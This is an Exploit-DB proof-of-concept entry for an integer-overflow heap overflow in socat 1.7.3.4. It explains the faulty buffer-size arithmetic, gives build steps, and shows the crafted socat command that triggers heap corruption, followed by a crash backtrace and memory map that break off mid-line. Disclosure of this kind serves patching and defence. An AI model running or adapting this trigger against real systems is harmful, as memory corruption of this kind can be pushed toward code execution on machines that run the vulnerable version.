Exploit-DB #47999
Description: Socat 1.7.3.4 - Heap-Based Overflow (PoC)
Type: local
Platform: linux
Date: 2020-02-05
Author: hieubl

Exploit:
# Exploit Title: Socat 1.7.3.4 - Heap Based Overflow (PoC)
# Date: 2020-02-03
# Exploit Author: hieubl from HPT Cyber Security
# Vendor Homepage: http://www.dest-unreach.org/
# Software Link: http://www.dest-unreach.org/socat/
# Version: 1.7.3.4
# Tested on: Ubuntu 16.04.6 LTS
# CVE :

# Heap-Based Overflow due to Integer Overflow and Lack of PIE mitigation (PoC)

------- [***Description***] -------
The source code of socat.c contains _socat() function which has the
Integer Overflow vulnerability:
int _socat(void) {
    ...
    unsigned char *buff;
    ...
    buff = Malloc(2*socat_opts.bufsiz+1)
    ...
}

After that, the the line of code "if ((bytes2 = xiotransfer(sock2,
sock1, &buff, socat_opts.bufsiz, true)) < 0) {" calls the
xiotransfer() function. The xiotransfer() function calls xioread()
function. Finally xioread() function calls Read() function.

ssize_t xioread(xiofile_t *file, void *buff, size_t bufsiz) {

    ...
    Read(pipe->fd, buff, bufsiz); //[***!!!This line of code leads to
Heap-Based Overflow vulnerability***!!!]
    ...
}

In addition, the "Makefile" file does not turn on the Position
Independent Executables (PIE) mitigation (the CFLAGS does not contains
"-pie" flag). By default, Ubuntu 16.04 does not turn on this
mitigation. Consequently, it is easier to exploit the program, may
even lead to Remode Code Execution (RCE).
Reference: https://hackerone.com/reports/415272, $100 bounty for Linux
Desktop application slack executable does not use pie / no ASLR

------- [***Download and build***] -------
Download link: http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
$ tar xzvf socat-1.7.3.4.tar.gz
$ cd socat-1.7.3.4/
$ ./configure
Modify "Makefile" file: "CFLAGS = -g -O -D_GNU_SOURCE -Wall
-Wno-parentheses $(CCOPTS) $(DEFS) $(CPPFLAGS)" (add "-g" flag for
debugging purpose)
$ make
$ sudo make install

------- [***Proof of Concept***] -------
$ checksec socat
[*] '/home/natsu/temp/socat-1.7.3.4/socat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
>>> There is no PIE mitigation!

$ python -c 'print "A"*1000000' > a
$ touch b
$ socat -b[PII_REDACTED]854775888 OPEN:a,readbytes=1000000 OPEN:b,readbytes=1000000

This proof of concept triggers the bugs by setting the buffer size to
0x[PII_REDACTED]000050[PII_REDACTED]854775888 in decimal). Therefore, the malloc
size is passed to "Malloc(2*socat_opts.bufsiz+1)" is 0x[PII_REDACTED]0000a0.
This is equivalent to Malloc(0xa0). The readbytes("readbytes=1000000")
controls the size of reading (we cannot read with the size too large as
0x[PII_REDACTED]000050) with these lines of code: if (pipe->readbytes) { if
(pipe->actbytes == 0) { return 0; } if (pipe->actbytes < bufsiz) { bufsiz =
pipe->actbytes; } } ------- [***Crash logs***] ------- *** Error in
`socat': free(): invalid next size (normal): 0x[PII_REDACTED]06a110 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fc0ee5817e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fc0ee58a37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fc0ee58e53c]
socat[0x407e3f]
socat[0x4084c6]
socat[0x408f7a]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fc0ee52a830]
socat[0x4057a9]
======= Memory map: ========
00[PII_REDACTED]a000 r-xp 00000000 08:01 655643
/usr/local/bin/socat
00[PII_REDACTED]a000 r--p 00049000 08:01 655643
/usr/local/bin/socat
0064a000-0064b000 rw-p 0004a000 08:01 655643
/usr/local/bin/socat
0064b000-0068c000 rw-p 00000000 00:00 0
0[PII_REDACTED]a000 rw-p 00000000 00:00 0
 [heap]
7fc0e8000000-7fc0e8021000 rw-p 00000000 00:00 0
7fc0e8021000-7fc0ec000000 ---p 00000000 00:00 0
7fc0eded3000-7fc0edee9000 r-xp 00000000 08:01 397801
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fc0edee9000-7fc0ee0e8000 ---p 00016000 08:01 397801
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fc0ee0e8000-7fc0ee0e9000 rw-p 00015000 08:01 397801
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fc0ee0e9000-7fc0ee0ec000 r-xp 00000000 08:01 397787
/lib/x86_64-linux-gnu/libdl-2.23.so
7fc0ee0ec000-7fc0ee2eb000 ---p 00003000 08:01 397787
/lib/x86_64-linux-gnu/libdl-2.23.so
7fc0ee2eb000-7fc0ee2ec000 r--p 00002000 08:01 397787
/lib/x86_64-linux-gnu/libdl-2.23.so
7fc0ee2ec000-7fc0ee2ed000 rw-p 00003000 08:01 397787
/lib/x86_64-linux-gnu/libdl-2.23.so
7fc0ee2ed000-7fc0ee305000 r-xp 00000000 08:01 397909
/lib/x86_64-linux-gnu/libpthread-2.23.so
7fc0ee305000-7fc0ee504000 ---p 00018000 08:01 397909
/lib/x86_64-linux-gnu/libpthread-2.23.so
7fc0ee504000-7fc0ee505000 r--p 00017000 08:01 397909
/lib/x86_64-linux-gnu/libpthread-2.23.so
7fc0ee505000-7fc0ee506000 rw-p 00018000 08:01 397909
/lib/x86_64-linux-gnu/libpthread-2.23.so
7fc0ee506000-7fc0ee50a000 rw-p 00000000 00:00 0
7fc0ee50a000-7fc0ee6ca000 r-xp 00000000 08:01 397763
/lib/x86_64-linux-gnu/libc-2.23.so
7fc0ee6ca000-7fc0ee8ca000 ---p 001c0000 08:01 397763
/lib/x86_64-linux-gnu/libc-2.23.so
7fc0ee8ca000-7fc0ee8ce000 r--p 001c0000 08:01 397763
/lib/x86_64-linux-gnu/libc-2.23.so
7fc0ee8ce000-7fc0ee8d0000 rw-p 001c4000 08:01 397763
/lib/x86_64-linux-gnu/libc-2.23.so
7fc0ee8d0000-7fc0ee8d4000 rw-p 00000000 00:00 0
7fc0ee8d4000-7fc0eeaef000 r-xp 00000000 08:01 397619
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7fc0eeaef000-7fc0eecee000 ---p 0021b000 08:01 397619
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7fc0eecee000-7fc0eed0a000 r--p 0021a000 08:01 397619
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7fc0eed0a000-7fc0eed16000 rw-p 00236000 08:01 397619
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7fc0eed16000-7fc0eed19000 rw-p 00000000 00:00 0
7fc0eed19000-7fc0eed77000 r-xp 00000000 08:01 397620
/lib/x86_64-linux-gnu/libssl.so.1.0.0
7fc0eed77000-7fc0eef77000 ---p 0005e000 08:01 397620
/lib/x86_64-linux-gnu/libssl.so.1.0.0
7fc0eef77000-7fc0eef7b000 r--p 0005e000 08:01 397620
/lib/x86_64-linux-gnu/libssl.so.1.0.0
7fc0eef7b000-7fc0eef82000